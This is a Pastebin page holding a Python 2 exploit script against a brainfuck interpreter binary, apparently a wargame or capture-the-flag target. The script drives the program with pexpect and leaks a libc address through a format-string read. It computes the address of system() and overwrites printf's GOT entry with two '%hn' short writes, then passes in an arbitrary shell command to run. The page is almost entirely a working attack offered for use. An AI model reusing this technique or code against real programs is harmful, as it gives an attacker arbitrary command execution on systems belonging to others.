Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- import pexpect
- from struct import pack
- import sys
- # changed the address from 0x08049a48 to 0x08059a48 since the 04 will be seen as EOT(end-of-transmission)
- # the brainfuck code will decrease the 05 back to 04 :)
- printf_GOT = 0x08059a48
- # brainfuck code
- # read 5 bytes
- # rewind pointer 5 places
- # read formatstring pattern(35 bytes)
- # rewind pointer 35
- bf_basecode = ',>,>,>,>,>#<<<<<,>,>,->,>,>,>,->,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>#<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<'
- # ******************************************************************************************************************************************
- # locates libc and returns the .got.plt and system offset(horror code....)
- # ******************************************************************************************************************************************
- def get_libc_info(binary):
- libc = None
- system_addr = 0
- vma = 0
- tl = list()
- # run ldd to get the libc path
- c = pexpect.spawn('ldd %s' % (binary))
- lines = c.readlines()
- c.close()
- for line in lines:
- if line.count('libc.so'):
- libc = line.strip().split(' ')[2]
- break
- if libc:
- # run objdump -T to grep the dynamic sym of system(last one in the list)
- c = pexpect.spawn('objdump -T %s' % (libc))
- lines = c.readlines()
- c.close()
- for line in lines:
- if line.count('system'):
- tl.append(line.strip())
- system_addr = int(tl[len(tl) - 1][:8], 16)
- # run objdump -h to grab the .got.plt vma from the header info
- c = pexpect.spawn('objdump -h %s' % (libc))
- lines = c.readlines()
- c.close()
- for line in lines:
- if line.count('.got.plt'):
- vma = int(line.strip().split(' ')[9], 16)
- break
- else:
- print '[!] Error: Failed to locate libc!'
- exit()
- return system_addr, vma
- # ******************************************************************************************************************************************
- # calc. the 2 lengths needed for the short writes
- # ******************************************************************************************************************************************
- def generate_lengths(addresss):
- len_1 = ((addresss & 0xFFFF) - 8) & 0xFFFF
- len_2 = ((((addresss >> 16) & 0xFFFF) - 8) - len_1) & 0xFFFF
- len_total = (len_1 + len_2) & 0xFFFFFFFF
- return (len_1, len_2, len_total)
- # ******************************************************************************************************************************************
- #
- # ******************************************************************************************************************************************
- def expl0it(filename, command):
- print '[+] Exploit started'
- # build the brainfuck code aka append the read command code
- brainfuck = bf_basecode + ''.join((',>') for i in range(len(command)+2)) + '#'
- # get the libc information
- system_offset, got_plt_offset = get_libc_info(filename)
- print '[+] libc system offset:',hex(system_offset)
- # spawn the bf process
- c = pexpect.spawn('%s "%s"' % (filename, brainfuck))
- # send pattern to leak the libc got.plt address
- print '[+] Leaking libc baseaddress'
- for b in bytearray('%9$x\n'):
- c.send(chr(b))
- # read the leaked libc address(.got.plt) and calc. its baseaddress
- c.readline() # dummy(return the data we send, we need the next line...)
- r = c.readline()
- # substract the got.plt offset from the virtualaddress
- libc_base = (int(r.strip(), 16) - got_plt_offset) & 0xFFFFFFFF
- # calc. system virtualaddress
- libc_system = (libc_base + system_offset)
- # calc. the two lengths needed for the formatstring pattern
- len_1, len_2, len_total = generate_lengths(libc_system)
- print '[+] libc BaseAddress:',hex(libc_base)
- print '[+] libc.System:',hex(libc_system)
- # some debug information....
- print '[i] len_1[%d/%s], len_2[%d/%s]' % (len_1, hex(len_1), len_2, hex(len_2))
- print '[+] Sending formatstring exploit'
- # send the formatstring exploit pattern
- for b in bytearray(pack('<L',printf_GOT) + pack('<L',printf_GOT + 2) + '%{0}c%16$hn%{1}c%17$hn'.format(str(len_1).rjust(5,'0'), str(len_2).rjust(5,'0')) + '\x00\n'):
- c.send(chr(b))
- # read the generated buffer(from the formatstring exploit)
- for i in range(len_total):
- c.read(1)
- print '[+] Sending command'
- # send the commandline string
- for b in bytearray(command+'\x00\n'):
- c.send(chr(b))
- # close the process
- c.close(force=True)
- print '[+] Exploit Finished'
- # ******************************************************************************************************************************************
- #
- # ******************************************************************************************************************************************
- if __name__ == '__main__':
- if len(sys.argv) != 3:
- print '[i] Usage: %s <filepath/to/bf> "<command_to_execute>"'
- exit()
- else:
- expl0it(sys.argv[1], sys.argv[2])
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement